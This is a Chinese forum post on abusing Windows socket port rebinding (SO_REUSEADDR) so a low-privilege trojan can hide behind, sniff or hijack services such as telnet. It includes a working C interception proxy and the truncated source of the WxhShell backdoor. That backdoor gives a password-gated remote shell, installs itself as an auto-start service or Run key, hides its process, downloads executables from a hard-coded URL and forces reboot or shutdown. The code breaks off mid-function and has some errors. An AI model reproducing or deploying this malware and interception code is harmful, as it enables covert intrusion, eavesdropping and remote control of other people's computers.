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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: b3+PC$z2h  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); SCij5il%  
VzesqVx  
  saddr.sin_family = AF_INET; 5oS\uX|  
?}[keSEh>  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); VM[8w`  
D 3PF(Wx  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); il~,y8WTU{  
jTnu! H2o  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @^O ww(I  
-bwl~3ZTi  
  这意味着什么?意味着可以进行如下的攻击: '#PT C,0UJ  
YbKW;L&Ff  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 a0R]hENC  
1*fA>v  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _Gu ;U@  
`c(@WK4  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 z( wXs&z;  
\IKr+wlN8  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  (Gcl,IW  
cc[w%jlA#  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :Lx]`dSk  
v,;?+Ck  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =R05H2hs  
jKzj Tn9{E  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \1Zf Sc  
qb Q> z+c  
  #include )n.peZ  
  #include Ero3A'f  
  #include o#i {/# oF  
  #include    (rJvE*  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Gkl#s7'  
  int main() Ot?rsr  
  { 7u zN/LAF  
  WORD wVersionRequested; xk/(| f{L  
  DWORD ret; >qE$:V "_5  
  WSADATA wsaData; t`  Sh!e  
  BOOL val; /?sV\shy  
  SOCKADDR_IN saddr; [# :k3aFz  
  SOCKADDR_IN scaddr; mIyaoIE|$  
  int err; _PIk,!<  
  SOCKET s; ?Rdi"{.wI  
  SOCKET sc; o! 8X< o  
  int caddsize; Z]tz<YSkG  
  HANDLE mt; DsoF4&>g[B  
  DWORD tid;   <W pz\U  
  wVersionRequested = MAKEWORD( 2, 2 ); ?V0IryF;  
  err = WSAStartup( wVersionRequested, &wsaData ); ,f$ RE6  
  if ( err != 0 ) { @:63OLlrG  
  printf("error!WSAStartup failed!\n"); >9 iv>  
  return -1; KvQ9R!V  
  } du !.j  
  saddr.sin_family = AF_INET; 7% h Mf$KQ  
   sdb#K?l  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 g0l- n  
9;PtY dJ8  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); x RfX:3  
  saddr.sin_port = htons(23); 2h=RNU|  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) wNlp4Z'[  
  { !Ej<J&e  
  printf("error!socket failed!\n"); Rh=h{O  
  return -1; {?8rvAj Y  
  } i |t$sBIh  
  val = TRUE; q45n.A6a  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 c0@v`-9  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 344- ~i*  
  { Px<;-H`  
  printf("error!setsockopt failed!\n"); MStaP;|  
  return -1; ek9%Xk8  
  } ]?^mb n  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,q4Y N-3  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 D3]_AS&\  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ?IK[]=!  
||hd(_W8  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) C-8@elZ1  
  { YJ6Xq||_  
  ret=GetLastError(); k@?<Aw8 _X  
  printf("error!bind failed!\n"); E:2Or~  
  return -1; NunT1ved  
  } [Mx+t3M  
  listen(s,2); p|zW2L  
  while(1) zR%#Q_  
  { , vWcWT  
  caddsize = sizeof(scaddr); /wQDcz  
  //接受连接请求 kp[Jl0K5  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); jN'zNOV~  
  if(sc!=INVALID_SOCKET) ~!I \{(  
  { Z',pQ{rD  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 7>#74oy  
  if(mt==NULL) d4lEd>Ni  
  { N)QW$iw9  
  printf("Thread Creat Failed!\n"); @sP?@< C  
  break; WkT4&|POJ  
  } ;e+ErN`a.~  
  } 4XRVluD%W.  
  CloseHandle(mt); $(BW |Pc  
  } p &A3l  
  closesocket(s); [L:,A{rve  
  WSACleanup(); ,+ WDa%R  
  return 0; oYW:p tJ  
  }   HJDM\j*5  
  DWORD WINAPI ClientThread(LPVOID lpParam) jVr:O `  
  { A," u~6Bn  
  SOCKET ss = (SOCKET)lpParam; cY5h6+_  
  SOCKET sc; <%! EI@N  
  unsigned char buf[4096]; {Wt=NI?Ow  
  SOCKADDR_IN saddr; PAJt M  
  long num; rAgb<D@,H  
  DWORD val; 0y*8;7-|r)  
  DWORD ret; Uo# Pe@ieQ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @,$>H 7o  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Esd A %`  
  saddr.sin_family = AF_INET; d4~!d>{n|c  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ZjWI~"]  
  saddr.sin_port = htons(23); Mp}U>+8  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) up1kg>i%"  
  {  eGjEO&$  
  printf("error!socket failed!\n"); *5u0`k^j  
  return -1; 'bTtdFvJ  
  } *&XOzaVU  
  val = 100; g/eE^o ~;  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i!(u4wTFF  
  { Tv!zqx#E  
  ret = GetLastError(); P9BShC5  
  return -1; D/v?nW  
  } NSZ9M%7  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) W;Ct[Y 8m  
  { O|d"0P  
  ret = GetLastError(); ;tlvf?0!  
  return -1; "_W[X  
  } `Ps&N^[  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?|kwYA$4o  
  { c1Skt  
  printf("error!socket connect failed!\n"); =nG g k}Z  
  closesocket(sc); ,XU<2jv]  
  closesocket(ss); H>X:#xOA_  
  return -1; Dc2H<=];  
  } \<TWy&2&  
  while(1) +xp)la.  
  { !#3v<_]#d  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 *jM]:GpyoU  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 G8}k9?26(  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ^? }-x  
  num = recv(ss,buf,4096,0); 1N,</<"  
  if(num>0) qx|~H'UuBN  
  send(sc,buf,num,0); \(C6|-:GY  
  else if(num==0) ~m3Q^ue  
  break; yhc}*BMZ  
  num = recv(sc,buf,4096,0); a[I :^S  
  if(num>0) *mby fu0q  
  send(ss,buf,num,0); ;?4EVZ#o  
  else if(num==0) <- L}N '  
  break; ~wvu7  
  } 6/6M.p  
  closesocket(ss); ]jjHIFX  
  closesocket(sc); zc K`hS  
  return 0 ; {u~JR(C:  
  } }]<0!q &xB  
DHQS7%)f`  
xa8;"Y~"bg  
========================================================== }p5_JXBV  
Kl_(4kQE_  
下边附上一个代码,,WXhSHELL 3$G &~A{  
$t0o*i{  
========================================================== f\xmv|8  
iSbPOC7  
#include "stdafx.h" ||D PIn]  
!y+uQ_IS@  
#include <stdio.h> x n?$@  
#include <string.h> >jz9o9?8  
#include <windows.h> *+(rQ";x  
#include <winsock2.h> w$iQ,--  
#include <winsvc.h> R#HVrzOO|T  
#include <urlmon.h> ^p)#;$6b  
OY Sq)!:  
#pragma comment (lib, "Ws2_32.lib") 'h R0JXy  
#pragma comment (lib, "urlmon.lib") 5\V""fH  
KT[ZOtu  
#define MAX_USER   100 // 最大客户端连接数 K @RGvP  
#define BUF_SOCK   200 // sock buffer Hsn'"  
#define KEY_BUFF   255 // 输入 buffer C~Hhi-Xl)  
qA0PGo  
#define REBOOT     0   // 重启 # ~Doz7~  
#define SHUTDOWN   1   // 关机 sKCYGt$  
hi`[  
#define DEF_PORT   5000 // 监听端口 DG?g~{Y~b  
t'1g+g  
#define REG_LEN     16   // 注册表键长度 Qo32oT[DM  
#define SVC_LEN     80   // NT服务名长度 ,BUrZA2\U$  
9TX2h0U?  
// 从dll定义API tq}MzKI*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ClG\Kpi rh  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A3)"+`&PUl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zZ6m`]{B9?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4_kY^"*#"  
}ZK%@b>  
// wxhshell配置信息 _B>'07D0  
struct WSCFG { ^"<x4e9+j  
  int ws_port;         // 监听端口 'Lq+ONX5  
  char ws_passstr[REG_LEN]; // 口令 aVCPaYe^  
  int ws_autoins;       // 安装标记, 1=yes 0=no yIhPB8QL  
  char ws_regname[REG_LEN]; // 注册表键名 Sl/]1[|mb  
  char ws_svcname[REG_LEN]; // 服务名 u@1 2:U$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3\2%i 6W6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )r^vrCNy>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +5S>"KAUt0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @^T~W^+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p#).;\M   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?7}ybw3t]  
D=Q.Q  
}; D&i\dgbK  
FQJiLb._Z  
// default Wxhshell configuration %N)B8A9kh  
struct WSCFG wscfg={DEF_PORT, ]DKRug5  
    "xuhuanlingzhe", Q 9fK)j1$  
    1, /78]u^SW  
    "Wxhshell", ((C|&$@M  
    "Wxhshell", /{f"0]-RA  
            "WxhShell Service", Qo)Da}uo20  
    "Wrsky Windows CmdShell Service", 9dq"x[  
    "Please Input Your Password: ", }4p)UX>aWT  
  1, Li]bU   
  "http://www.wrsky.com/wxhshell.exe", ]!ox2m_U  
  "Wxhshell.exe" VwpC UW  
    }; n&Ckfo_D  
10fxK  
// 消息定义模块 D'<L6w`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; R\|,GZ!`+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1~t.2eUG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]XU4nNi  
char *msg_ws_ext="\n\rExit."; 8T1zL.u>q  
char *msg_ws_end="\n\rQuit."; VcGl8~#9  
char *msg_ws_boot="\n\rReboot..."; vn+XY =Qnr  
char *msg_ws_poff="\n\rShutdown..."; gUNhN1=  
char *msg_ws_down="\n\rSave to "; G&xtL  
eT+i &  
char *msg_ws_err="\n\rErr!"; yI1 :L -  
char *msg_ws_ok="\n\rOK!"; "]#Ij6ml  
t5%cpkgh4  
char ExeFile[MAX_PATH]; 2HtsSS#0Q  
int nUser = 0; T:u>7?8o  
HANDLE handles[MAX_USER]; 9j|v D  
int OsIsNt; +@=V}IO  
yAfwQ$Ll7  
SERVICE_STATUS       serviceStatus;  tPQ|znB|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r[4n2Mys  
pd:7K'yaw  
// 函数声明 "h#R>3I1)  
int Install(void); Wk\(jaL%  
int Uninstall(void); GA[Ebzi  
int DownloadFile(char *sURL, SOCKET wsh); M#; ks9  
int Boot(int flag); @Wc5r#  
void HideProc(void); ]o8]b7-  
int GetOsVer(void); & y5"0mA  
int Wxhshell(SOCKET wsl); ?OLd }8y  
void TalkWithClient(void *cs); 3l%Qd<  
int CmdShell(SOCKET sock); 5afD;0D5TI  
int StartFromService(void); Sp492W+  
int StartWxhshell(LPSTR lpCmdLine); Xd=KBB[r?  
gYhY1Mym  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9T;4aP>6j#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >*RU:X  
Hl`OT5 pNf  
// 数据结构和表定义 LP6 p  
SERVICE_TABLE_ENTRY DispatchTable[] = l3sF/zkH  
{ |]4!WBK  
{wscfg.ws_svcname, NTServiceMain}, _8a;5hS  
{NULL, NULL} qS#G7~ur>y  
}; Hl,{4%]  
>=[uLY[aK  
// 自我安装 S[1<Qrv]  
int Install(void) hE|P|0U,n  
{ .Q%Hi7JMi  
  char svExeFile[MAX_PATH]; gom!dB0J  
  HKEY key; X>8,C^~$1  
  strcpy(svExeFile,ExeFile); =SXdO)%2  
F%h3?"s  
// 如果是win9x系统,修改注册表设为自启动 M@R"-$Z  
if(!OsIsNt) { G9f6'5 O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ea&|kO|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Fp/{L  
  RegCloseKey(key); 3]l)uoNt/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G IN|cv=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #B;P4n3  
  RegCloseKey(key); c,4~zN8Ou  
  return 0; -g@!\{  
    } m<h%BDSzr{  
  } /?eVWCR  
} iM@$uD$_Q2  
else { q#tUDxf(|  
)O]6dd  
// 如果是NT以上系统,安装为系统服务 '{"Rjv7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); C`hdj/!A  
if (schSCManager!=0) eR$@Q  
{ LH5Z@*0#  
  SC_HANDLE schService = CreateService }T@=I&g;  
  ( HU'Mi8xxy  
  schSCManager, M76p=*  
  wscfg.ws_svcname, K6kz{R%`  
  wscfg.ws_svcdisp, inWLIXC,  
  SERVICE_ALL_ACCESS, --WQr]U/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /K#k_k  
  SERVICE_AUTO_START, I8Aq8XBw  
  SERVICE_ERROR_NORMAL, _~z oMdT!  
  svExeFile, 5dePpFD5  
  NULL, ~w? 02FU  
  NULL, fzIs^(:fl  
  NULL, ; ~pgF_  
  NULL, r[S(VPo[()  
  NULL J#I RbO)  
  ); +/ZIs|B4,z  
  if (schService!=0) M7TLQqaF  
  { 2!{D~Gfl=  
  CloseServiceHandle(schService); (QDKw}O2b  
  CloseServiceHandle(schSCManager); !;eE7xn&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); L,}'ST  
  strcat(svExeFile,wscfg.ws_svcname); Cz0FA]-g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ix-Mp   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4!IuTPmr  
  RegCloseKey(key); nGH6D2!F  
  return 0; h[W`P%xZ  
    } AELj"=RA  
  } "+(|]q"W  
  CloseServiceHandle(schSCManager); *'>_XX  
} xDo0bR(  
} ev4[4T-( @  
P_(8+)ud-  
return 1; q&25,zWD  
} F\m^slsu7=  
z`wIb  
// 自我卸载 6KMO*v  
int Uninstall(void) ,<v0(  
{ .nPOjwEx&Y  
  HKEY key; JOJ.79CT  
#L*\^ c  
if(!OsIsNt) { Lc{AB!Br  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A NhqS  
  RegDeleteValue(key,wscfg.ws_regname); aJ'Fn  
  RegCloseKey(key); 32wtN8kx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S(gr>eC5  
  RegDeleteValue(key,wscfg.ws_regname); cnu&!>8V  
  RegCloseKey(key); -c_l nK  
  return 0; x3q^}sj%  
  } .KrLvic  
} ?2]fE[SqY  
} rtj/&>  
else { 39v Bsc  
t7f(%/] H0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); > Vm}u`x  
if (schSCManager!=0) "wgPPop  
{ `?z('FV  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); N3%#JdzZ$  
  if (schService!=0) q3x"9i `  
  { 8,U~ p<Gz  
  if(DeleteService(schService)!=0) { !D=!  
  CloseServiceHandle(schService); 8 0tA5AP  
  CloseServiceHandle(schSCManager); sY;h~a0n  
  return 0; Uu_qy(4  
  } 0~U#DTx0  
  CloseServiceHandle(schService); \D@j`o  
  } Z[#8F&QV!m  
  CloseServiceHandle(schSCManager); Z)7{~xq  
} &qx/ZT  
} 9hzu!}~'I  
p:~#(/GWf  
return 1; ~ P\4 N  
} %Psg53N  
~su>RolaX  
// 从指定url下载文件 }>{R<[I!G  
int DownloadFile(char *sURL, SOCKET wsh) w){B$X  
{ hIV9.{J  
  HRESULT hr; LeCc`x,5  
char seps[]= "/"; rS [4Pey  
char *token; 7h\is  
char *file; In?rQiD9  
char myURL[MAX_PATH]; ^T&{ORWz  
char myFILE[MAX_PATH]; WsHD Ip  
fEBi'Ad  
strcpy(myURL,sURL); %r^tZ;; l  
  token=strtok(myURL,seps); .#&)%}GC  
  while(token!=NULL) tj;47UtH  
  { G#%Sokkb'  
    file=token; & DP"RWT/  
  token=strtok(NULL,seps); Oe Q[-e  
  } -HF?1c  
A|"T8KSMB  
GetCurrentDirectory(MAX_PATH,myFILE); v?He]e'  
strcat(myFILE, "\\"); jkk%zu  
strcat(myFILE, file); zZMKgFR@  
  send(wsh,myFILE,strlen(myFILE),0); (dg,w*t'  
send(wsh,"...",3,0); <WUgH6"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); PhAfEsD  
  if(hr==S_OK) jRsl/dmy  
return 0; |b\a)1Po:  
else z};|.N}  
return 1; ja9u?UbW  
]!TE  
} bPTtA;u  
dk7x<$h-h0  
// 系统电源模块 /`m* PgJ  
int Boot(int flag) hJSvx  
{ .i;.5)shsu  
  HANDLE hToken; LH54J;7 Y  
  TOKEN_PRIVILEGES tkp; `oMZ9Gq2E  
a j4ZS  
  if(OsIsNt) { "}X+vd``  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /4+L2O[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .s\lfBo9  
    tkp.PrivilegeCount = 1; 2*sTU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &<><4MQ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); M[qhy.  
if(flag==REBOOT) { ?b7ttlX{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {J"]tx9 ]  
  return 0; 2D:/.9= 8v  
} _OGv2r  
else { qlM<X?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) o}=*E  
  return 0; P].Eb7I  
} >~ *wPoW  
  } ,|*Gr"Q=  
  else { huZ5?'/Fg  
if(flag==REBOOT) { Xm# +Z`|N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q]1p Q)\'p  
  return 0; *$O5.`]  
} Lx_Jw\YO  
else { oLkzLJ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g{Av =66Z  
  return 0; ASdW!4.p  
} =R:O`qdC4e  
} >,Y+ 1  
!n;3jAl&$  
return 1; <<-L,0  
} `Ij EwKra  
*SJ[~  
// win9x进程隐藏模块 B9,39rG/7+  
void HideProc(void) b"\lF1Nf&o  
{ fTpG>*{p  
jUD^]Qs  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vVMoCG"f  
  if ( hKernel != NULL ) m$C1Ea-wnT  
  { </kuJh\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *ELU">!}G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y-8BL  
    FreeLibrary(hKernel); K Zg NL|  
  } O)W+rmToI  
t<dFH}U`w  
return; XZN@hXc9:v  
} :2KPvp 7?  
i+(>w'=m  
// 获取操作系统版本 kMW9UUw  
int GetOsVer(void) )*_G/<N) |  
{ [4xZy5V  
  OSVERSIONINFO winfo; "'t f]s  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,|z@ Dy  
  GetVersionEx(&winfo); 7(D)U)9h  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @_t=0Rc  
  return 1; FI:H/e5[  
  else Zrwd  
  return 0; jvv=  
} y_>DszRN`u  
$hc=H  
// 客户端句柄模块 &bq1n_  
int Wxhshell(SOCKET wsl) i\;ZEM{  
{ #8L: .,AYE  
  SOCKET wsh; khjdTq\\  
  struct sockaddr_in client; ]i075bO/  
  DWORD myID; &KBDrJEX  
5mV!mn:H:  
  while(nUser<MAX_USER) 8 a)4>B  
{ 9_==C"F  
  int nSize=sizeof(client); ]O}e{Q>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); XzIC~}  
  if(wsh==INVALID_SOCKET) return 1; i`52tH y_  
ie[X7$@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dLGHbeZ[(  
if(handles[nUser]==0) =^p}JhQ  
  closesocket(wsh); 9BP'[SM%),  
else gJp6ReZ#  
  nUser++; O`Qke Z}  
  } T*@o?U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 02J(*_o  
D?%[du:V  
  return 0; B#hvw'}  
} ?f9M59(l  
]@21KO  
// 关闭 socket W{J e)N  
void CloseIt(SOCKET wsh) phG *It}  
{ F3vywN1$,  
closesocket(wsh); 0'f\>4B  
nUser--; 59$PWfi-\  
ExitThread(0); ?7pn%_S  
} > dVhIbG  
~-NSIV:f  
// 客户端请求句柄 #/Ob_~-?j  
void TalkWithClient(void *cs) =\u,4  
{ |Isn<|_  
>`3F`@1L0  
  SOCKET wsh=(SOCKET)cs; PSv 5tQhm  
  char pwd[SVC_LEN]; 8&HBR #  
  char cmd[KEY_BUFF]; ;F- mt(Y  
char chr[1]; IR]5,K^l  
int i,j; dh%O {t  
>Q<XyAH~  
  while (nUser < MAX_USER) { Lj|wFV  
b&@]f2 /  
if(wscfg.ws_passstr) { U/PNEGuQ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }|/A &c  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %}H 2  
  //ZeroMemory(pwd,KEY_BUFF); 6:S, {@G  
      i=0; MCTJ^g"D  
  while(i<SVC_LEN) { D^>d<LX  
zqrqbqK5R  
  // 设置超时 ^w%%$9=:r  
  fd_set FdRead; b3_P??yp  
  struct timeval TimeOut; 3n)Kzexh  
  FD_ZERO(&FdRead); 8mmnnf{P  
  FD_SET(wsh,&FdRead); 4".I*ij  
  TimeOut.tv_sec=8; ,[ppETz  
  TimeOut.tv_usec=0; UAz^P6iQ`~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u0<yGsEGD  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |AE{rvP{@  
@D*PO-s9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #b&tNZ4!_  
  pwd=chr[0]; pam9wfP  
  if(chr[0]==0xd || chr[0]==0xa) {  |15!D  
  pwd=0; iku*\,6W  
  break; Gjq7@F'  
  } LCS.C(n,  
  i++; SJX9oVJeZ  
    } `-CN\  
{HM[ )t0  
  // 如果是非法用户,关闭 socket Jlb{1B$7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); EKcPJ\7  
} b{-"GqMO  
!oXFDC3k  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #J3}H   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); irm4lb5  
Q jXJo$I6  
while(1) { *k#"@  
f*"T]AX0  
  ZeroMemory(cmd,KEY_BUFF); M`q|GY  
XM+.Hel  
      // 自动支持客户端 telnet标准   i"n_oO  
  j=0; ha;fxM]  
  while(j<KEY_BUFF) { +1yi{!j1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L?;UcCB  
  cmd[j]=chr[0]; Kyk{:UnI  
  if(chr[0]==0xa || chr[0]==0xd) { ZY7-.  
  cmd[j]=0; %E#Ubm!  
  break; b==jlYa=  
  } qov<@FvE0  
  j++; T=~d. &J  
    } un!v1g9O  
3O4lG e#u  
  // 下载文件 V;RgO}  
  if(strstr(cmd,"http://")) { ;p~!('{P  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); lr;ubBbT  
  if(DownloadFile(cmd,wsh)) iex%$> "  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); h*y+qk-!\g  
  else $Yu'B_E6p  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {*n<A{$[ m  
  } [G|(E  
  else { B%u[gNZ  
+J{ErsG?6P  
    switch(cmd[0]) { _3%:m||,XP  
  Y)lr+~84f  
  // 帮助 ><IWF#kUA  
  case '?': { IEm~^D#<=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (||qFu9a  
    break; 'ParMT  
  } Q_fgpjEh/t  
  // 安装 6Hb a@Q1`  
  case 'i': { z__t8yc3  
    if(Install()) PN9vg9'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a%HNz_ro  
    else b"#S92R+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s&o9LdL  
    break; I:oEt  
    } Ebj0 {ZL  
  // 卸载 w[l#0ZZ  
  case 'r': { rxMo7px@}I  
    if(Uninstall()) =$bF[3D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -le^ 5M7  
    else kq(><T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F~E)w5?\O  
    break; 1Zp/EYWa{  
    } E <j=5|0t  
  // 显示 wxhshell 所在路径 6J JA"] `  
  case 'p': { :ln| n6X  
    char svExeFile[MAX_PATH]; Z R=[@Oi  
    strcpy(svExeFile,"\n\r"); 2uT6M%OC  
      strcat(svExeFile,ExeFile); UE5,Ml~X  
        send(wsh,svExeFile,strlen(svExeFile),0); ";&PtLe  
    break; YwY?tOxBe  
    } z8S]FpM6  
  // 重启 Z/:yYSq  
  case 'b': { E Lq1   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;c]O*\/  
    if(Boot(REBOOT)) 6W3oIt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]Oo!>iTQi  
    else { :epB:r  
    closesocket(wsh); p`7d9MV^  
    ExitThread(0); ]<YS7.pT  
    } q Sv!5&u  
